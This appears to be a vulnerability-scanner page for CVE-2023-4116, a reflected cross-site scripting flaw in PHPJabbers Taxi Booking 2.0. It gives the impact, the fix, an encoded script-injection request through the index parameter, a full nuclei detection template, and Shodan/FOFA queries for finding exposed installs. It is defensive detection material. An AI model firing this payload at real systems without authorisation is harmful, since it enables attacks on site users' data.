PHPJabbers Taxi Booking 2.0 - Cross Site Scripting

mediumseverity

6.1CVSS score

8.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A vulnerability classified as problematic was found in PHP Jabbers Taxi Booking 2.0. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be launched remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the index parameter, potentially stealing booking information and user credentials from the Taxi Booking platform.

Fix

Update PHP Jabbers Taxi Booking to a version newer than 2.0 that properly sanitizes the index parameter and encodes output to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Passengers", "Drop-off address", "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-4116 -u <target>

The full check

id: CVE-2023-4116

info:
  name: PHPJabbers Taxi Booking 2.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic was found in PHP Jabbers Taxi Booking 2.0. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter, potentially stealing booking information and user credentials from the Taxi Booking platform.
  remediation: |
    Update PHP Jabbers Taxi Booking to a version newer than 2.0 that properly sanitizes the index parameter and encodes output to prevent XSS attacks.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39746
    - https://cxsecurity.com/ascii/WLB-2023080016
    - http://packetstormsecurity.com/files/173937/PHPJabbers-Taxi-Booking-2.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4116
    - https://vuldb.com/?ctiid.235963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4116
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.95037
    cpe: cpe:2.3:a:phpjabbers:taxi_booking_script:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: taxi_booking_script
    shodan-query:
      - html:"PHP Jabbers.com"
      - http.html:"php jabbers.com"
    fofa-query: body="php jabbers.com"
  tags: cve,cve2023,packetstorm,xss,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Passengers", "Drop-off address", "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from